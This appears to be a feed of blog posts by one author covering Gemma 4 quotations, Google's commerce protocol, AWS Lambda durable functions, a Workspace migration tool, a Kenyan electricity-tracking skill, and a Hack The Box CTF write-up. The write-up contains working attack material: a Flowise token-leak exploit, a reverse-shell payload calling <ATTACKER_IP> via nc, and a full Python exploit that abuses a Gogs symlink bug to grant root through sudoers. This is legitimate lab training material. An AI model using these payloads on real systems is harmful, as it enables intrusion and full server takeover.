MoE efficiency for real-world speed. 26B total parameters, but only 3.8B active per token. A fundi standing in front of a customer doesn't want to wait 30 seconds. The MoE architecture gives near-31B quality while keeping response times practical on a mobile connection.

The technical setup is minimal:

Photo upload → FastAPI backend → Gemma 4 (Google AI Studio API)
→ Structured JSON response → Rendered quotation → PDF or WhatsApp

The system prompt tells Gemma 4 to act as a Kenyan construction estimator with current market prices. No RAG, no database of prices, no fine-tuning. The base model already knows enough about Kenyan hardware stores to produce quotations that a real fundi would look at and say "yeah, that's about right."

How Does an AI Agent Actually Buy Something? Google Just Published the Spec.

Lewis Sawe — Sun, 24 May 2026 19:22:09 +0000

This is a submission for the Google I/O Writing Challenge

Google I/O 2026 said the word "agent" more than any other noun across both keynotes. Agents that code. Agents that research. Agents that plan your day. The dev community wrote about Antigravity, Gemini Spark, managed agents, agentic search.

But here's what nobody asked: how does an AI agent actually buy something?

Not "recommend a product." Not "show a link." Actually complete a purchase. Add to cart, select shipping, pay, confirm. On behalf of a human, talking to a merchant's backend, without ever loading a webpage.

Google shipped the answer at I/O. It's called the Universal Commerce Protocol. Almost nobody in the developer community noticed.

The problem UCP solves

Today, when you ask an AI assistant to buy you running shoes, it shows you a link. You click it. You land on a website. You add to cart, enter your address, fumble with Google Pay, and check out yourself. The "agent" was just a search engine with better grammar.

That's not agentic commerce. That's a recommendation engine.

Real agentic commerce means the agent talks directly to the merchant's system, builds a cart, applies shipping, and completes the transaction. No browser. No webpage. No human clicking through a checkout flow.

The blocker was always: there's no standard way for an AI agent to interact with a store programmatically. Every store has a different checkout API (if they have one at all). Most stores don't have one. They have HTML forms.

UCP fixes this. It's a REST API specification that turns any online store into a service an AI agent can call.

What UCP actually is

Universal Commerce Protocol is an open standard, open-source on GitHub, co-designed by Google and Shopify. It defines how AI agents discover products, build carts, handle shipping, and complete checkout.

It's already live. If you use AI Mode in Google Search (which crossed 1 billion monthly users at I/O), you've seen UCP-powered "Buy on Google" buttons. Those aren't just links. They're agent-initiated checkout sessions running over this protocol.

The three-sentence version: A merchant implements three REST endpoints. Google's agent (or any agent) calls them to create, update, and complete checkout sessions. The merchant stays in control of pricing, inventory, and fulfillment. The agent never touches payment credentials.

The checkout flow, step by step

Here's how a purchase works when Gemini Spark (Google's personal agent) buys shoes for you:

1. Agent builds the session.
The agent calls POST /checkout-sessions with the product IDs and a partial shipping address (city, state, zip). The merchant responds with prices, tax estimates, and shipping options.

{
  "line_items": [
    { "item": { "id": "product_12345" }, "quantity": 1 }
  ],
  "fulfillment": {
    "methods": [{
      "type": "shipping",
      "destinations": [{
        "address_locality": "Sunnyvale",
        "address_region": "CA",
        "postal_code": "94089",
        "address_country": "US"
      }]
    }]
  }
}

2. User reviews in a Google UI.
The agent hands control to a Google-rendered checkout page. The user sees the items, total, and shipping options. They select a payment method (Google Pay). The agent is not involved in this step. It never sees the credit card.

3. Google completes the session.
Once the user taps "Pay with GPay," Google calls POST /checkout-sessions/{id}/complete with the tokenized payment credential. The merchant processes the charge and returns an order confirmation.

That's it. Three endpoints: create, update, complete. A merchant who already has a checkout backend can implement this in a few days.

Why this matters more than another model announcement

Every I/O post I read this week talks about agents in the abstract. "Agents will change everything." "The agentic era is here." Cool. But an agent that can research and plan yet can't transact is just a chatbot with a longer context window.

Commerce is where agents become economically real. The moment an agent can spend money on your behalf (with your permission, within your budget), the business model for AI shifts from "subscription to a chat interface" to "commission on transactions completed." That's a different industry.

UCP is the plumbing that makes that shift possible. And the design choices are interesting:

The agent never handles payment. This is deliberate. The moment you hand sensitive data to an autonomous agent, you inherit liability nightmares. UCP sidesteps this by routing payment through a Google-controlled UI. The agent builds the cart. Humans authorize the money.

The merchant stays Merchant of Record. Google doesn't intermediate the transaction the way Amazon does. The merchant keeps their customer data, their relationship, their fulfillment. UCP is a protocol, not a marketplace.

It's compatible with MCP, A2A, and AP2. You can expose your checkout endpoints as MCP tools, use A2A for agent-to-agent negotiation, or plug into the Agent Payments Protocol. UCP doesn't lock you into Google's ecosystem. It defines the commerce primitives. The transport layer is your choice.

What this means if you build e-commerce

If you run a Shopify store, this is coming to you automatically. Shopify co-designed the protocol.

If you run a custom e-commerce backend, here's the integration surface:

POST /checkout-sessions (create a session from line items)
PUT /checkout-sessions/{id} (update shipping, recalculate tax)
POST /checkout-sessions/{id}/complete (process payment, return order)
POST /checkout-sessions/{id}/cancel (cancel)

Google provides Python and JavaScript SDKs, plus a conformance test suite to validate your implementation. The SLO expectations are reasonable: 95% availability, p50 latency under 1 second for session creation.

The payoff: your products become purchasable directly inside Google Search AI Mode, the Gemini app, and (soon) anywhere an agent speaks UCP. No affiliate links. No "visit our website." Direct checkout inside the AI conversation.

The part nobody is talking about

UCP is expanding to lodging and food. Google has waitlists open for both verticals. That means hotel booking and restaurant ordering get the same treatment: an agent calls your API, the user confirms in a Google UI, the transaction completes without a website visit.

Think about what this does to SEO-driven e-commerce. If an agent can buy directly from a merchant's API during a Search conversation, the website becomes optional for the transaction. Discovery still happens (through product feeds in Merchant Center), but the conversion doesn't require a click-through anymore.

That's a structural change to online commerce. Not "AI will change shopping someday." It's live, it has SDKs, and merchants are integrating right now.

The skeptic's questions

"Is this just Google capturing more of the transaction?"
They'd argue no, because the merchant stays Merchant of Record. But Google does control the surface (Search, Gemini) and the payment layer (Google Pay). Draw your own conclusions on where the power concentrates over time.

"Will other platforms adopt UCP?"
It's open-source and Shopify co-designed it. That's meaningful. Whether Amazon, Meta, or Apple adopt it or build their own competing protocol is the billion-dollar question. Interoperability with MCP and A2A suggests Google wants this to be a lingua franca, not a walled garden. Time will tell.

"Do consumers actually want agents buying things for them?"
Probably not yet for expensive purchases. But for replenishment (toothpaste, dog food, contacts), routine bookings (same hotel, same rental car), and low-stakes impulse buys? The friction reduction is real. Google's Gemini Spark starts with a "check with you before taking major actions" guardrail for a reason.

Try it yourself

Read the UCP documentation
Browse the open-source spec on GitHub
Grab the Python SDK or JS SDK
Run the conformance tests against your endpoints
Join the waitlist if you're a merchant

The protocol that lets AI agents spend money exists, is open, and is already processing transactions in Google Search. That's not a keynote prediction. It's infrastructure you can build on today.

Lambda Durable Functions, When You Don't Need Step Functions

Lewis Sawe — Wed, 13 May 2026 11:51:48 +0000

At re:Invent 2025, AWS added a new primitive to Lambda called durable execution. Your function can now checkpoint its progress, survive failures without restarting from scratch, and suspend for up to a year without paying for compute time.

If you've used Azure Durable Functions or Temporal, the concept is familiar. If you haven't, the short version is that your Lambda function can pause mid-execution, wait for something external (a human approval, a webhook, a scheduled delay), and resume exactly where it left off. No DynamoDB state table. No Step Functions state machine. Just code.

This post covers what it is, how it works, when to use it instead of Step Functions, and what it actually looks like to build with.

The Problem It Solves

Standard Lambda functions run from start to finish in a single invocation. Maximum 15 minutes. If something fails at step 7 of 10, you retry the whole thing. If you need to wait for a human to click "approve," you need to save state somewhere, set up an API Gateway endpoint to receive the callback, wire up the resume logic, and handle the case where your function code changed between the pause and the resume.

Most teams solve this with Step Functions, which works well but means defining your workflow in Amazon States Language (a JSON DSL) or the CDK Step Functions constructs. Your business logic lives in Lambda, your orchestration logic lives in Step Functions, and you context-switch between two mental models.

Lambda Durable Functions puts both in the same file.

How It Works

You enable durable execution when you create the function (a DurableConfig block in your SAM template or CDK construct). Then you use the durable execution SDK in your handler code.

The SDK gives you a few primitives.

context.step() runs a block of code and checkpoints the result. If the function fails later and replays, this step is skipped and its cached result is returned.
context.wait() suspends execution for a duration (minutes, hours, days). No compute charges during the wait.
context.waitForCallback() suspends until an external system calls back with a success or failure. Up to one year.
context.waitForCondition() polls a condition on a schedule until it returns true.
context.parallel() runs multiple durable operations concurrently.
context.invoke() calls another Lambda function and checkpoints the result.

Under the hood, Lambda uses a checkpoint/replay mechanism. When your function resumes (after a wait, a failure, or a deployment), Lambda invokes your handler from the top. The SDK replays through completed steps instantly (returning cached results) and picks up execution at the point where it left off.

What It Looks Like

A user onboarding flow that creates a profile, waits up to 24 hours for email verification, then sends a welcome email.

import { DurableContext, withDurableExecution } from '@aws/durable-execution-sdk-js';

export const handler = withDurableExecution(
  async (event, context: DurableContext) => {
    const profile = await context.step("create-profile", async () =>
      createUserProfile(event.email, event.name)
    );

    const verification = await context.waitForCallback(
      "wait-for-email-verification",
      async (callbackId) => {
        await sendVerificationEmail(profile, callbackId);
      },
      { timeout: { hours: 24 } }
    );

    const result = await context.step("complete-onboarding", async () => {
      if (!verification || !verification.verified) {
        return { ...profile, status: 'failed' };
      }
      await sendWelcomeEmail(profile.email, profile.name);
      return { ...profile, status: 'active' };
    });

    return result;
  }
);

If createUserProfile succeeds but the verification email fails to send, the function retries from the waitForCallback step. The profile creation is skipped (already checkpointed). If the user clicks verify 6 hours later, the function resumes at the complete-onboarding step. During those 6 hours, you pay nothing.

The SAM template looks like this.

Resources:
  UserOnboardingFunction:
    Type: AWS::Serverless::Function
    Properties:
      FunctionName: UserOnboardingFunction
      CodeUri: ./src
      Handler: index.handler
      Runtime: nodejs24.x
      Timeout: 60
      DurableConfig:
        ExecutionTimeout: 90000  # 25 hours
        RetentionPeriodInDays: 7

Timeout is still the per-invocation limit (max 15 minutes). ExecutionTimeout is how long the entire durable execution can run, including waits. Up to one year.

When to Use This Instead of Step Functions

The AWS docs frame it as "application development in Lambda" vs. "workflow orchestration across AWS services." Here's my less diplomatic version.

Use Durable Functions when

Your team prefers standard programming languages and familiar development tools
Your workflow is mostly Lambda code calling other services via SDK
You want the orchestration logic in the same file as the business logic
You're comfortable with the checkpoint/replay model
You want to test locally with sam local invoke

Use Step Functions when

You're orchestrating many AWS services (SQS, SNS, DynamoDB, ECS) with native integrations
Non-engineers need to understand the workflow (the visual designer matters)
You want zero runtime maintenance (no SDK versions to update)
You need the 220+ direct service integrations without writing Lambda functions for each

Use both when

Step Functions coordinates the high-level flow across services
Durable Functions handles complex application logic within individual Lambda functions

The honest comparison is that Durable Functions is simpler for Lambda-heavy workflows. Step Functions is more powerful for cross-service orchestration. If your workflow is "Lambda calls Lambda calls Lambda with some waits in between," Durable Functions is less overhead. If your workflow is "receive SQS message, write to DynamoDB, start ECS task, wait for completion, send SNS notification," Step Functions has native integrations for all of that without writing Lambda handlers.

What You Pay For

Standard Lambda compute charges apply to all invocations, including replays. During waits, on-demand functions don't incur duration charges.

You also pay for durable operations (each step(), wait(), invoke() call), data written to checkpoints, and data retention (how long execution history is kept).

For workflows that spend most of their time waiting (approval flows, scheduled delays, polling), the cost model is favorable. You're not paying for an idle Step Functions execution either, but the per-operation pricing differs. For short, compute-heavy workflows with few waits, the replay overhead adds cost that Step Functions doesn't have.

Things to Know Before You Build

Determinism matters. Your handler runs from the top on every replay. Code between steps must be deterministic. Don't generate random IDs outside a step, don't read the current time outside a step, don't make API calls outside a step. Anything with side effects goes inside context.step().

Versioning is strict. Use function versions or aliases, not $LATEST. If your code changes between a pause and a resume, the replay might not match the original execution. Lambda replays with the version that started the execution.

15-minute invocation limit still applies. Each individual invocation (including replays) must complete within 15 minutes. The durable execution can span months, but each "wake up" is still a normal Lambda invocation. If your replay takes too long because you have hundreds of completed steps to skip through, that's a problem.

You can't add DurableConfig to an existing function. You need to create a new function with durable execution enabled from the start.

SDKs available for Node.js, Python, and Java. Java SDK went GA in April 2026. Python and Node.js have been available since launch.

Available in 16+ regions as of April 2026.

A Practical Example, Order Processing

Here's a more realistic example. An order comes in, you validate payment, reserve inventory, wait for the warehouse to confirm shipment (could take hours), then notify the customer.

from aws_durable_execution_sdk import durable_function, DurableContext

@durable_function
def handler(event, context: DurableContext):
    order = event

    # Validate payment
    payment = context.step("validate-payment", lambda: charge_card(order))

    if not payment["success"]:
        return {"status": "payment_failed", "order_id": order["id"]}

    # Reserve inventory
    reservation = context.step("reserve-inventory", lambda: reserve_items(order["items"]))

    # Wait for warehouse confirmation (poll every 5 minutes, timeout after 48 hours)
    shipment = context.wait_for_condition(
        "wait-for-shipment",
        check=lambda: check_shipment_status(reservation["id"]),
        interval={"minutes": 5},
        timeout={"hours": 48}
    )

    # Notify customer
    context.step("notify-customer", lambda: send_shipping_notification(
        order["email"], shipment["tracking_number"]
    ))

    return {"status": "shipped", "tracking": shipment["tracking_number"]}

If the warehouse takes 6 hours to ship, the function wakes up every 5 minutes, checks the status, and goes back to sleep. You pay for ~72 invocations of a few hundred milliseconds each, not 6 hours of compute.

Compare this to the Step Functions version. You'd need a state machine with a Wait state, a Choice state, a Lambda function for each step, and the wiring between them. It works, but it's more infrastructure for the same outcome.

Who This Is For

The pattern that makes durable functions worth it is any workflow where you have seconds of actual work separated by hours or days of waiting for something external. The more wait time relative to compute time, the better the cost model.

A few examples that aren't the usual "order processing" and "user onboarding" from the AWS docs.

Trial expiration flow. User signs up for a 14-day trial. The function suspends for 14 days, wakes up, checks if they converted to paid, sends the appropriate email (upgrade nudge or offboarding notice). One function, one execution, two weeks of zero cost. No cron job, no scheduler, no DynamoDB TTL workaround.

export const handler = withDurableExecution(
  async (event, context) => {
    const user = await context.step("create-trial", async () =>
      createTrialAccount(event.email, event.plan)
    );

    await context.wait("trial-period", { days: 14 });

    const converted = await context.step("check-conversion", async () =>
      hasUpgradedToPaid(user.id)
    );

    await context.step("send-email", async () => {
      if (converted) return sendRetentionEmail(user.email);
      return sendOffboardingEmail(user.email);
    });

    if (!converted) {
      await context.step("deactivate", async () => deactivateAccount(user.id));
    }

    return { userId: user.id, converted };
  }
);

Webhook delivery with backoff. First attempt fails. Wait 1 minute, retry. Wait 5 minutes, retry. Wait 30 minutes, retry. The waits cost nothing.

export const handler = withDurableExecution(
  async (event, context) => {
    const { url, payload, maxAttempts = 4 } = event;
    const delays = [0, 1, 5, 30]; // minutes

    for (let attempt = 0; attempt < maxAttempts; attempt++) {
      if (delays[attempt] > 0) {
        await context.wait(`backoff-${attempt}`, { minutes: delays[attempt] });
      }

      const result = await context.step(`deliver-${attempt}`, async () =>
        deliverWebhook(url, payload)
      );

      if (result.success) return { delivered: true, attempts: attempt + 1 };
    }

    await context.step("mark-failed", async () =>
      markWebhookFailed(event.webhookId)
    );

    return { delivered: false, attempts: maxAttempts };
  }
);

Infrastructure provisioning with approval gates. Terraform plan runs, posts to Slack, suspends until someone approves.

export const handler = withDurableExecution(
  async (event, context) => {
    const plan = await context.step("terraform-plan", async () =>
      runTerraformPlan(event.workspace)
    );

    if (plan.changes === 0) return { status: "no_changes" };

    const approval = await context.waitForCallback(
      "wait-for-approval",
      async (callbackId) => {
        await postToSlack(event.channel, {
          text: `Terraform wants to change ${plan.changes} resources in ${event.workspace}`,
          planUrl: plan.outputUrl,
          approveUrl: buildApproveUrl(callbackId),
          rejectUrl: buildRejectUrl(callbackId)
        });
      },
      { timeout: { hours: 24 } }
    );

    if (!approval || !approval.approved) {
      return { status: "rejected", by: approval?.user };
    }

    const apply = await context.step("terraform-apply", async () =>
      runTerraformApply(event.workspace)
    );

    return { status: "applied", resources: apply.changed };
  }
);

Incident response with human escalation. Auto-isolate, alert, wait for analyst confirmation.

export const handler = withDurableExecution(
  async (event, context) => {
    const finding = event.detail;

    const isolation = await context.step("isolate-instance", async () =>
      isolateEc2Instance(finding.instanceId)
    );

    const decision = await context.waitForCallback(
      "wait-for-analyst",
      async (callbackId) => {
        await createPagerDutyIncident({
          title: `Isolated ${finding.instanceId} - ${finding.type}`,
          details: finding,
          callbackId
        });
      },
      { timeout: { hours: 4 } }
    );

    if (!decision || decision.action === "terminate") {
      await context.step("terminate", async () =>
        terminateInstance(finding.instanceId)
      );
      return { outcome: "terminated" };
    }

    await context.step("restore", async () =>
      restoreInstance(finding.instanceId, isolation.previousSecurityGroups)
    );

    return { outcome: "restored" };
  }
);

Scheduled certificate rotation. Check, renew, wait for DNS validation, swap.

export const handler = withDurableExecution(
  async (event, context) => {
    const cert = await context.step("check-expiry", async () =>
      getCertificateDetails(event.certArn)
    );

    if (cert.daysUntilExpiry > 30) return { status: "not_due" };

    const renewal = await context.step("request-renewal", async () =>
      requestCertificate(cert.domain)
    );

    const validated = await context.waitForCondition(
      "wait-for-validation",
      async () => checkValidationStatus(renewal.arn) === "ISSUED",
      { interval: { minutes: 2 }, timeout: { minutes: 30 } }
    );

    if (!validated) return { status: "validation_failed" };

    await context.step("swap-cert", async () =>
      updateListenerCertificate(event.listenerArn, renewal.arn)
    );

    return { status: "rotated", newCertArn: renewal.arn };
  }
);

The common thread is that these workflows are too simple for Step Functions (5-7 steps, mostly Lambda code) but too stateful for a single Lambda invocation. That's the gap durable functions fill.

Getting Started

sam init  # Choose the durable functions quick start template
sam local invoke  # Test locally, including callbacks
sam deploy  # Ship it

The developer guide covers setup. The re:Invent breakout session is worth watching for the architecture deep dive.

Lambda Durable Functions | Documentation | Pricing

The NEXT '26 Announcement That Should Worry Microsoft Has Nothing to Do With Gemini

Lewis Sawe — Wed, 29 Apr 2026 15:46:22 +0000

This is a submission for the Google Cloud NEXT Writing Challenge

Most of the coverage from Google Cloud NEXT '26 focused on Gemini and the agentic AI push. Fair enough. But the announcement that caught my attention had nothing to do with AI models. Google launched a free, built-in migration tool that moves enterprises from Microsoft 365 to Google Workspace, and claimed it's up to five times faster than their previous migration tools.

That doesn't sound exciting until you think about what it actually means.

Microsoft's real advantage was never the product

Ask any IT leader why their company is still on Microsoft 365 and you'll rarely hear "because Word is better than Docs." The answer is almost always about switching costs. Years of SharePoint content, Teams workflows, and Exchange mailboxes wired into Active Directory and compliance systems. Moving off that stack is a six-to-twelve month project that nobody wants to own.

Microsoft knows this. Their moat has always been the pain of leaving, not Copilot or Excel. Google just went after the moat directly.

What Google actually shipped

The new tool is called Data Import. It lives inside the Workspace Admin Console, no third-party software needed. It handles email, calendar, and contact migration from Exchange Online using parallelized transfers and what Google calls "improved algorithms" for speed.

There's also a migration planning utility that estimates timelines and organizes users into speed-optimized batches. For an IT team evaluating the switch, that removes one of the first objections: "we don't even know how long this would take."

No extra GCP infrastructure costs. No licensing fees for migration tools. Google is absorbing the cost of switching entirely.

The gap nobody's mentioning

Here's what Data Import doesn't do yet: OneDrive, SharePoint, and Teams. Google says those are "coming soon."

That's a problem. Email migration is the easy part. The real lock-in for most enterprises is in shared drives and document libraries, not email. A company with 10,000 employees and years of SharePoint content isn't switching because email migration got faster. They're switching when someone solves the file and permissions migration, and that piece isn't ready.

So the "5x faster" headline is real, but it applies to the part of the migration that was already the least painful.

The $750M makes more sense now

Google also announced a $750 million partner fund at NEXT '26 for consulting firms and systems integrators. The fund is officially about accelerating agentic AI deployment, not migration specifically. But paired with the migration tool, the timing tells a story.

The people who decide which platform an enterprise adopts aren't usually the CTO. They're the Deloittes and Accentures who run the evaluation and implementation. Google is paying those firms to recommend and execute the switch. The migration tool handles the technical side, and the partner fund gets the right people in the room to say yes.

The question Google doesn't want you to ask

If Google makes it easy to move to Workspace, does that also make it easy to move away from Workspace later?

Data portability is a one-way pitch right now. Google built a tool to import from Microsoft, not a tool to export to Microsoft. Expected, but worth noticing. The easier Google makes it to arrive, the more you should ask what leaving looks like. Switching costs don't disappear when you change vendors. They just reset.

Why this matters

The AI feature race between Google and Microsoft is real, but it's converging. Gemini and Copilot will keep trading benchmarks. The actual competitive battle is happening at the infrastructure and distribution layer, where switching costs and partner incentives determine which platform enterprises land on.

Google figured out that winning the AI argument isn't enough if nobody can act on it. So they removed the friction and funded the people who make the recommendation. Whether the destination is worth it depends on how fast they ship the SharePoint and Teams migration. Until then, it's a strong pitch with an asterisk.

CTF Writeup Silentium - HTB

Lewis Sawe — Sun, 26 Apr 2026 11:20:31 +0000

This writeup details the complete attack chain for the Silentium machine, starting from a vulnerable Flowise AI instance to a privilege escalation using a recent Gogs vulnerability (CVE-2025-8110).

1. Enumeration & Discovery

Initial enumeration of the target IP revealed an Nginx web server redirecting to silentium.htb and an open SSH port.

nmap -sV -sC <TARGET_IP>

Adding the primary domain to /etc/hosts:

echo "<TARGET_IP> silentium.htb" | sudo tee -a /etc/hosts

VHost Fuzzing

Knowing we were dealing with a web application, we fuzzed for subdomains using gobuster and discovered a staging environment:

gobuster vhost -u http://silentium.htb -w /usr/share/wordlists/dirb/common.txt --append-domain

This revealed staging.silentium.htb. We added this to /etc/hosts and navigated to it, discovering an instance of Flowise AI (version 3.0.5).

2. Initial Access: Flowise AI Password Reset Vulnerability

The Flowise AI instance was vulnerable to an unauthenticated API logic flaw (CVE-2025-58434) that leaks password reset tokens directly in the API response.

Step 1: Leaking the Token

By sending a POST request to the "forgot password" endpoint with a valid username (ben@silentium.htb), the server responded with the user object, including the tempToken.

curl -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
     -H "Content-Type: application/json" \
     -d '{"user": {"email": "ben@silentium.htb"}}'

Step 2: Overcoming the 500 Internal Server Error

Initially, attempting to use the token to reset the password returned a 500 Internal Server Error complaining about a database transaction. Analyzing the behavior revealed two things:

Token Expiration: The token had a very short lifespan (tokenExpiry).
Payload Structure: The server expected a flattened payload rather than a nested "user" object.

By immediately generating a fresh token and using a corrected JSON payload, the password was successfully reset.

curl -X POST http://staging.silentium.htb/api/v1/account/reset-password \
     -H "Content-Type: application/json" \
     -d '{
       "tempToken": "<FRESH_LEAKED_TOKEN>",
       "password": "<NEW_PASSWORD>",
       "confirmPassword": "<NEW_PASSWORD>"
     }'

With the credentials (<EMAIL> / <PASSWORD>), we logged into the Flowise dashboard.

3. Remote Code Execution (RCE) via Flowise (Model Context Protocol)

Once authenticated as an admin in Flowise, we explored the integration of the Model Context Protocol (MCP), a standard that allows LLMs to interact with external tools and data sources. In Flowise 3.0.5, the /api/v1/node-load-method/customMCP endpoint was found to be vulnerable to Insecure Code Evaluation.

The vulnerability lies in how Flowise handles the mcpServerConfig parameter. When a user configures a "Custom MCP" node, the server takes the provided configuration string and evaluates it within the Node.js environment to initialize the connection. Because this evaluation is performed without proper sandboxing, an attacker can inject arbitrary JavaScript code.

The Attack Path:

Authentication: We secured our access using either the session JWT Bearer Token or the persistent API Key found in the dashboard settings.
Payload Crafting: We crafted a JSON payload that targeted the customMCP load method. The payload used an Immediately Invoked Function Expression (IIFE) within the mcpServerConfig string to require the child_process module and execute a reverse shell command.

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f');return 1;})()} )"
  }
}

Execution: We saved the payload to a file named payload.json and sent it to the endpoint using curl, authorizing the request with our retrieved API key:

curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
     -H "Authorization: Bearer <YOUR_API_KEY>" \
     -H "Content-Type: application/json" \
     -d @payload.json

Upon sending the request, the Node.js backend evaluated the mcpServerConfig string, immediately executing our reverse shell.

The shell landed us inside the Flowise Docker container as the node user.

4. Pivoting to the Host

Being inside a Docker container meant we needed to find a way to the host machine.

Enumerating the container's environment variables (env) revealed sensitive credentials, including the password for the local user ben: <USER_PASSWORD>.

Since the host had SSH exposed, we used these credentials to log in as ben on the main host.

ssh ben@silentium.htb

User Flag Captured! cat /home/ben/user.txt

5. Privilege Escalation: Gogs Arbitrary File Write (CVE-2025-8110)

System enumeration as ben revealed a local Gogs instance running on port 3000/3001. Checking the running processes (ps aux | grep gogs) confirmed that the Gogs web process was running as root.

Gogs is vulnerable to CVE-2025-8110, an Arbitrary File Write vulnerability caused by improper handling of symbolic links via the API. By pushing a repository containing a symlink that points outside the repository and then updating the file via the API, an attacker can overwrite arbitrary files as the user running Gogs (root).

We used SSH local port forwarding to expose the internal Gogs web interface to our local attacking machine:

ssh -L 8080:127.0.0.1:3000 ben@silentium.htb

6. Gogs Exploitation: Manual Method (Web UI)

If an attacker prefers a manual approach, the vulnerability can be exploited directly through the Gogs dashboard at http://127.0.0.1:8080.

Account Setup: Register a new user account (e.g., <USERNAME>).
API Token Generation: Navigate to User Settings > Applications. Under "Generate New Token," provide a name and click Generate Token. Save this token for API authentication.
Repository Creation: Create a new repository and ensure it is initialized.

Symlink Creation (Local): On your attacking machine, clone the repo, create a symlink pointing to the target file on the host, and push it:

git clone http://127.0.0.1:8080/<USERNAME>/<REPO>.git
cd <REPO>
ln -s /etc/sudoers.d/ben malicious_link
git add malicious_link && git commit -m "Add symlink" && git push

Payload Delivery: Use a tool like curl or Postman to send a PUT request to the Gogs API to update the content of malicious_link. This triggers the arbitrary write to the host's filesystem.

7. Gogs Exploitation: Automated Attack (Python Script)

To increase efficiency and reliability, we used a finalized Python script (new_exploit.py) to handle the authentication, token generation, repository management, and symlink poisoning.

The Final Working Logic

The script's success relied on targeting the /etc/sudoers.d/ directory. By writing a new configuration file for the user ben and ensuring the payload included a trailing newline (\n), we were able to bypass the sudo password prompt entirely.

The Exploit Code (`new_exploit.py`)

#!/usr/bin/env python3

import argparse
import requests
import os
import subprocess
import shutil
import urllib3
import base64
from urllib.parse import urlparse
from bs4 import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def login(session, base_url, username, password):
    login_url = f"{base_url}/user/login"
    resp = session.get(login_url)
    soup = BeautifulSoup(resp.text, "html.parser")
    csrf = soup.select_one("input[name=_csrf]").get("value")
    login_data = {"_csrf": csrf, "user_name": username, "password": password}
    session.post(login_url, data=login_data, allow_redirects=True)

def get_application_token(session, base_url):
    settings_url = f"{base_url}/user/settings/applications"
    get_resp = session.get(settings_url)
    soup = BeautifulSoup(get_resp.text, "html.parser")
    csrf = soup.select_one("input[name=_csrf]").get("value")
    data = {"_csrf": csrf, "name": os.urandom(8).hex()}
    resp = session.post(settings_url, data=data)
    soup = BeautifulSoup(resp.text, "html.parser")
    return soup.find("div", class_="ui info message").find("p").text.strip()

def create_malicious_repo(session, base_url, token):
    api = f"{base_url}/api/v1/user/repos"
    repo_name = os.urandom(6).hex()
    data = {"name": repo_name, "auto_init": True, "ssh": True}
    session.headers.update({"Authorization": f"token {token}"})
    session.post(api, json=data)
    return repo_name

def upload_malicious_symlink(base_url, username, password, repo_name):
    repo_dir = f"/tmp/{repo_name}"
    parsed = urlparse(base_url)
    clone_url = f"{parsed.scheme}://{username}:{password}@{parsed.netloc}/{username}/{repo_name}.git"
    subprocess.run(["git", "clone", clone_url, repo_dir], check=True)
    os.symlink("/etc/sudoers.d/ben", os.path.join(repo_dir, "malicious_link"))
    subprocess.run(["git", "add", "malicious_link"], cwd=repo_dir, check=True)
    subprocess.run(["git", "commit", "-m", "Poison"], cwd=repo_dir, check=True)
    subprocess.run(["git", "push", "origin", "master"], cwd=repo_dir, check=True)
    return repo_dir

def exploit(session, base_url, token, username, repo_name, payload):
    api = f"{base_url}/api/v1/repos/{username}/{repo_name}/contents/malicious_link"
    data = {
        "message": "Exploit CVE-2025-8110",
        "content": base64.b64encode(payload.encode()).decode(),
    }
    session.put(api, json=data)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True)
    args = parser.parse_args()

    username = "<USERNAME>"
    password = "<PASSWORD>"
    payload = "ben ALL=(ALL) NOPASSWD: ALL\n"

    session = requests.Session()
    login(session, args.url, username, password)
    token = get_application_token(session, args.url)
    repo_name = create_malicious_repo(session, args.url, token)
    repo_dir = upload_malicious_symlink(args.url, username, password, repo_name)
    exploit(session, args.url, token, username, repo_name, payload)

if __name__ == "__main__":
    main()

Running the script:

python3 new_exploit.py -u http://127.0.0.1:8080

8. Final Escalation

After the script reported success, we returned to our SSH session as ben and verified our new privileges:

ben@silentium:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)

ben@silentium:~$ sudo cat /root/root.txt
7a4a0316f8faed5f786a5febcfcd0040

Root Flag Captured! Machine Owned.

Lets Connect - Lewis Sawe: LinkedIn

Buy me coffee ☕

I Made My WhatsApp Predict When My Electricity Will Run Out with Openclaw

Lewis Sawe — Sat, 25 Apr 2026 17:10:27 +0000

This is a submission for the OpenClaw Challenge.

What I Built

KPLC Sentinel is an OpenClaw skill that tracks prepaid electricity for Kenyan households.

Some context for those outside Kenya: electricity here works differently from most of the world. Instead of getting a bill at the end of the month, most Kenyan homes use a prepaid system. You send money via M-Pesa (mobile money), receive an SMS from Kenya Power (KPLC) with a 20-digit token number and the units you purchased, then physically punch that token into a meter box mounted on your wall. The meter counts down as you use power. When it hits zero, the lights go off. No grace period, no warning.

There's also no usage dashboard. No app that tells you how fast you're burning through units or when you'll run out. The only way to check your balance is to walk to the meter and press 20# on the keypad. Most people don't bother until the power cuts.

On top of that, Kenya Power publishes a weekly PDF listing planned maintenance outages by area. If your neighborhood is on the list, you'll lose power for 8-10 hours on the scheduled day. These notices get posted on their website and sometimes shared on social media, but most people miss them entirely.

KPLC Sentinel fixes all of this. It tracks token purchases and meter readings, predicts when you'll run out, monitors your spending against a budget, spots usage patterns, and scrapes the KPLC maintenance schedule to warn you about planned outages. The whole thing runs through WhatsApp (or Telegram), which is how most Kenyans communicate anyway.

Architecture

┌─────────────┐     ┌──────────────────┐     ┌─────────────┐
│  WhatsApp /  │────▶│  OpenClaw Agent   │────▶│  SKILL.md   │
│  Telegram    │◀────│  (LLM routing)   │     │  (routing)   │
└─────────────┘     └──────────────────┘     └──────┬──────┘
                            │                        │
                    ┌───────▼────────┐      ┌───────▼───────┐
                    │   SOUL.md      │      │ entrypoint.py │
                    │ (personality)  │      │ (returns JSON)│
                    └───────┬────────┘      └───────┬───────┘
                            │                       │
                    Agent composes          ┌───────┼────────┐
                    response from     ┌────▼───┐ ┌──▼──┐ ┌──▼───┐
                    JSON + persona    │logic.py│ │parse│ │init_db│
                                      │(core)  │ │ r.py│ │  .py  │
                    ┌──────────────┐  └────┬───┘ └─────┘ └──────┘
                    │ HEARTBEAT.md │       │
                    │(6hr/weekly)  │  ┌────▼─────┐  ┌──────────┐
